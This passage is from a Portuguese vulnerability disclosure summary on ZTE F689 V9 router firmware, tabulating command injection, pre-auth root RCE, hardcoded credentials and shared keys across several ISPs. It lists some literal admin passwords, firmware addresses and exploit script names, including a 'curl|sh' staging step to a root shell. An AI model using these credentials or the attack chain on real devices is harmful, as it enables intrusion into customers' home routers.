1 \u2014 An\u00e1lise Inicial (Abril de 2026)\n\n\n\n\nID Interno\nT\u00edtulo\nCVSS v3.1\nStatus\n\n\n\n\nCVE-2026-XXXXX (CVE-A)\nOS Command Injection , Interface de Ping\n8.8 High.\n.Bloqueada pelo ChkLanWanCon , documentada por completude; n\u00e3o submetida separadamente \u00e0 MITRE\n\n\nCVE-2026-49007 (CVE-B)\nCredenciais Hardcoded , credential store webpri\n10.0 Critical\nConfirmada , todas as credenciais descriptografadas\n\n\nCVE-2026-49008 (CVE-C)\nPar de Chaves RSA-4096 Compartilhado\n8.1 High\nConfirmada , par de chaves extra\u00eddo e verificado\n\n\nCVE-2026-XXXXX (CVE-D)\nACS TR-069 Aceita Inform Sem Autentica\u00e7\u00e3o\n10.0 Critical\nConfirmada din\u00e2mica , 160/160\n\n\nCVE-2026-49005 (CVE-E)\nHash de Senha Root Compartilhado\n8.1 High\nConfirmada , hash extra\u00eddo, n\u00e3o quebrado\n\n\nCVE-2026-49006 (CVE-F/disc)\nCertificado TLS Compartilhado\n7.4 High\nConfirmada , chave privada extra\u00edda\n\n\nCVE-2026-XXXXX (CVE-G)\nOS Command Injection , Traceroute\n8.8 High\nRE est\u00e1tica confirmada , din\u00e2mica bloqueada por config do ISP\n\n\nCVE-2026-XXXXX (CVE-H)\nOS Command Injection , TcpDump via IFName\n7.2 High\nRE est\u00e1tica confirmada , endpoint n\u00e3o exposto em BCH\n\n\nCVE-2026-XXXXX (CVE-I)\nAutentica\u00e7\u00e3o Agn\u00f3stica ao Username\n5.3 Medium\nConfirmada din\u00e2mica , 6/6 variantes de username bem-sucedidas\n\n\n\n\nFase 2 \u2014 An\u00e1lise Est\u00e1tica Aprofundada (Junho de 2026)\n\n\n\n\nID Interno\nT\u00edtulo\nCVSS v3.1\nISPs/Pa\u00edses Afetados\nStatus\n\n\n\n\nCVE-2026-XXXXX (CVE-J)\nStack Overflow Pr\u00e9-Auth em httpd , RCE como Root (CWE-121)\n9.8 Critical\nTodos os deployments F689 V9\nConfirmado dinamicamente , root em /proc/self/status\n\n\nCVE-2026-XXXXX (CVE-II)\nChave AES Hardcoded em passpppoe.so , Credenciais PPPoE (CWE-321)\n7.5 High\nTodos os deployments\nConfirmada , literal bin\u00e1rio extra\u00eddo\n\n\nCVE-2026-XXXXX (CVE-JJ)\nURLs de ACS TR-069 Hardcoded + Fallback Credential Multi-ISP (CWE-798/CWE-319)\n7.4 High\n7 ISPs: BR/RU/ID/IN/MX/MY/AL\nConfirmada , 2 ISPs com HTTP/7547 sem TLS\n\n\nCVE-2026-XXXXX (CVE-KK)\nArtefatos FTP de Desenvolvimento na Imagem de Produ\u00e7\u00e3o (CWE-489)\n5.3 Medium\nTodos os deployments\nConfirmada , artefatos listados\n\n\nCVE-2026-XXXXX (CVE-LL)\nSenha RADIUS Hardcoded m3g4c4bXXXXX , Megacable M\u00e9xico (CWE-798)\n7.5 High\nMegacable M\u00e9xico (CC=2018)\nConfirmada , literal bin\u00e1rio em bin/cspd\n\n\nCVE-2026-XXXXX (CVE-MM)\nCredencial Telnet/Samba/FTP Derivada de GPON SN: ISP-198 e CC=66 (CWE-916)\n7.4 High\nISP-198 (ger\u00eancia) / Tail\u00e2ndia (CC=66)\nConfirmada , cadeia GenRossnFromGponsn mapeada\n\n\nCVE-2026-XXXXX (CVE-NN)\nSenha Admin Hardcoded superinea , MGTS R\u00fassia CC=118 (CWE-798)\n8.8 High\nMGTS R\u00fassia (CC=118)\nConfirmada , literal 0x28d172\n\n\nCVE-2026-XXXXX (CVE-OO)\nProtocolos de Ger\u00eancia Inseguros por ISP: HTTP/Telnet/2323 (CWE-319)\n8.1\u20138.8 High\nMegacable M\u00e9xico, Albania ONE\nConfirmada , strings de config em bin/cspd\n\n\nCVE-2026-XXXXX (CVE-PP)\nCredenciais MQTT de Teste Hardcoded , Claro Argentina (CWE-798)\n5.3 Medium\nClaro Argentina (CC=170)\nConfirmada , testcpe/PepitopXXXXXX. em 0x28d6d4\n\n\nCVE-2026-XXXXX (CVE-QQ)\nSenhas Admin Hardcoded 2029/superadmin , ZTE F6600/CC=202 Egito (CWE-798)\n8.8 High\nCC=202 (Egito/F6600)\nConfirmada , literais em 0x28d700\n\n\nCVE-2026-XXXXX (CVE-RR)\nDeriva\u00e7\u00e3o Global admin/user/SIP via GPON SN , Fallback Universal (CWE-916)\n6.8 Medium\nTodos os deployments sem literal ISP-espec\u00edfico\nConfirmada , dbc_person_authinfo_product.c\n\n\nCVE-2026-XXXXX (CVE-SS)\nCredenciais de Ger\u00eancia Derivadas de MAC , Megacable e TM Malaysia (CWE-330)\n9.1 Crit./8.8\nMegacable M\u00e9xico (CC=2018), TM Malaysia (CC=190)\nConfirmada , admin_%02X%02X em 0x28878d\n\n\nCVE-2026-XXXXX (CVE-TT)\nCredencial TR-069 ACS Prim\u00e1ria via GPON SN , Telmex/Tele. (CWE-916)\n7.4 High\nTelmex M\u00e9xico e ISPs Tele.\nConfirmada , TelmexSetTr069UsrPwd@XXXXXX\n\n\nCVE-2026-XXXXX (CVE-UU)\nSenha Telnet/SSH Hardcoded Administrator , Claro Argentina (CWE-798)\n8.8 High\nClaro Argentina (CC=170)\nConfirmada , TS_UPwd_170 \u2192 Administrator em 0x28d67e\n\n\nCVE-2026-XXXXX (CVE-VV)\nBeegol Agent: TOFU + Broadcast MQTT + Update Sem Assinatura (CWE-295/284/494)\n8.1\u20139.9\nTodos CPEs Claro Brasil com beegol-agent ativo\nConfirmada dinamicamente (MitM lab 2026-05-11)\n\n\nCVE-2026-XXXXX (CVE-WW)\nCredenciais de Ger\u00eancia Derivadas de MAC: Orange CC=2052 (CWE-1392)\n8.8 High\nOrange (Espanha/Fran\u00e7a/\u00c1frica \u2014 CC=2052)\nConfirmada est\u00e1tica, admin%XXXXX/Orange%XXXXXX em strings\n\n\n\n\nAp\u00eandice B , Arquivos Afetados\n\nbin/cspd                                      , daemon principal: handlers de injection, provisionamento\n                                                ISP-espec\u00edfico (CVE-G, CVE-H, CVE-II, CVE-JJ,\n                                                CVE-KK, CVE-LL, CVE-MM, CVE-NN, CVE-OO, CVE-PP,\n                                                CVE-QQ, CVE-RR, CVE-SS, CVE-TT, CVE-UU, CVE-WW)\nbin/httpd                                     , servidor web customizado ZTE: stack overflow pr\u00e9-auth\n                                                em check_data_integrity@0x23d58 (CVE-J, RCE root)\netc/hardcodefile/webpri                       , credential store criptografado com AES (CVE-B)\netc/hardcodefile/hardcode                     , material de deriva\u00e7\u00e3o de chave\netc/hardcodefile/tr069                        , credenciais TR-069 por ISP, incluindo Pwd_Telmex (CVE-TT)\netc/private-key.pem                           , chave privada RSA-4096 (headers Check e overflow CVE-J)\netc/server-key.pem                            , chave privada TLS RSA-2048\netc/server-cert.pem                           , certificado TLS (compartilhado, validade de 100 anos)\netc/shadow                                    , hash da senha root\nhome/httpd/webmodules/modules/networkdiag_traceroute_lua.lua\nhome/httpd/webmodules/modules/networkdiag_ping_lua.lua\nhome/httpd/webmodules/config/gui_dmenu.lua\nhome/httpd/thinklua/user_mgr/usermgr_logic_impl.lua\nhome/httpd/thinklua/template/commpage_status_comm.lp   , chave p\u00fablica RSA (usada em CVE-J)\nlib/libhardcode.so                            , implementa\u00e7\u00e3o da descriptografia de credenciais\nlib/libcfapi.so                               , validadores ChkHost, ChkLanWanCon\nlib/liboss.so                                 , implementa\u00e7\u00e3o de IPC/PcStartProgram\nlib/passpppoe.so                              , chave AES hardcoded para credenciais PPPoE (CVE-II)\n\nExploits (diret\u00f3rio exploits/):\n  httpd_check_overflow.py     , verifica\u00e7\u00e3o do reach pr\u00e9-auth (CVE-J fase 1)\n  httpd_rce_bsswrite.py       , chain ROP completa write-what-where para .bss (CVE-J fase 2)\n  exploit_shell_full.py       , staging automatizado: curl|sh \u2192 root shell (CVE-J fase 3)\n  tracert_inject_test.py      , PoC de inje\u00e7\u00e3o no traceroute (CVE-G)\n  acs_inform_spoof.py         , PoC de Inform n\u00e3o-autenticado no ACS (CVE-D)\n\n\n", "creation_timestamp": "2026-08-10T17:59:21.572038Z"}